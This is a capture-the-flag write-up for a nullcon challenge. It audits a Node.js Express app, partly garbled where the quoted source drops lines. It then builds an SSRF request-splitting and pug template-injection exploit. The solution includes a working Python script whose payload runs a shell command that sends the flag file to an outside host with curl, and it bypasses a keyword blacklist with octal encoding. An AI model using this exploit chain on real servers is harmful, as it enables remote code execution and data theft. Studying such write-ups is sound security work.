Rating: 4.0
# split second
* ## Observation:
In the main page,we can see that there is a picture with a exciting kid dancing their lol.I look into the page source and see that the picture is an iframe that is sent from ```/core``` page.After testing parameter ```q```,I know that some words and symbols are filtered on the backend.
My next goal is try to find some useful page and then I find some interesting page which is ```/source``` and ```/flag``` page.
After auditing source code,I figure out that it is a SSRF challenge.But I don't have idea how to reach SSRF since ```http``` module filter ```'\d\n'``` properly.After googling,I find some useful resource to achieve our goal and here is the [link](https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/).
source code
```javascript
//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/source.html'));
});
app.get('/getMeme',function(req,res){
res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>
});
app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
if (ip.includes('127.0.0.1')) {
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
else{
res.send("No characters");
}
}
else{
res.send("You need to come from localhost");
}
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/getMeme?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("
Errrrr, You have been Blocked
"); resp.on('data', function(chunk) {
resps = chunk.toString();
res.send(resps);
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
```
When sending request to ```/flag```,server will check for if header ```x-forwarded-for```==```127.0.0.1``` , header ```adminauth```==```secretpassword``` and header ```pug``` can't contain any lower case alphabats.The first two conditions are easy to achieve but the third one is a bit of hard to figure out.Now,I have to understand how ```pug``` work, what kind of attack can achieve and how to bypass the third condition.
After reading this [article](https://pugjs.org/language/interpolation.html),I guess that we can try to construct an code execution payload. So I test it locally and as expected,we can acheive code execution([resource](https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html) about vm escape)
```javascript
var pug = require('pug');
//First one may cause some problem because of http.get will remove string after #,and I try double encode to fix this problem,but it doesn't work,since decodeURI('%23') will return "%23".
pug.render('#{console.log(1)}');
put.render('-console.log(1)');
//will print 1 on terminal
```
The last thing we need to do is try to figure out a payload that can bypass header ```pug```'s' check and function ```blacklist```.
We can encode alphabat in payload into octal(hex and unicode are not good idea since they contain alphabat) to bypass header check and double url encode ```"``` and ```'``` to bypass funtion ```blacklist```.
Expect to alphabat,we don't need to encode other characters in payload into octal.Otherwise it will cause some problem since ```-```,```(```,```)```,```[```,```]```,```"``` and ```'``` are considered as meaningful character and we cannot encode them ,or it won't be executed.
```javascript
[]["constructor"]//valid
[]["\143\157\156\163\164\162\165\143\164\157\162"]//valid,executable
[][\42\143\157\156\163\164\162\165\143\164\157\162\42]//invalid,since " is encodeed
```
* ## Solution
```python
# coding=UTF-8
import requests
from requests.utils import quote
def toOct(str):
r=""
for i in str:
if i>='a'and i<='z':
r+='\\'+oct(ord(i))[1:]
else:
r+=i
return r
#This next line could test in nodejs interpreter so that we can observe the similar behavior about how http treat on unicode(\u{xxxx} is js encode pattern)
#Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
#Unicode čĊ will convert to latin1 which will only pick up the right most byte
SPACE=u'\u0120'.encode('utf-8')
CRLF=u'\u010d\u010a'.encode('utf-8') # transfer from unicode to utf-8 (\uxxxx is unicode's pattern)
SLASH=u'\u012f'.encode('utf-8')
pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl 172.19.0.1:8888 -X POST -d @flag.txt'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encoded
print quote(pug)
payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE
res=requests.get('http://172.19.0.2:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
print res.content
```
* ## Flag
```
hackim20{You_must_be_1337_in_JavaScript!}
```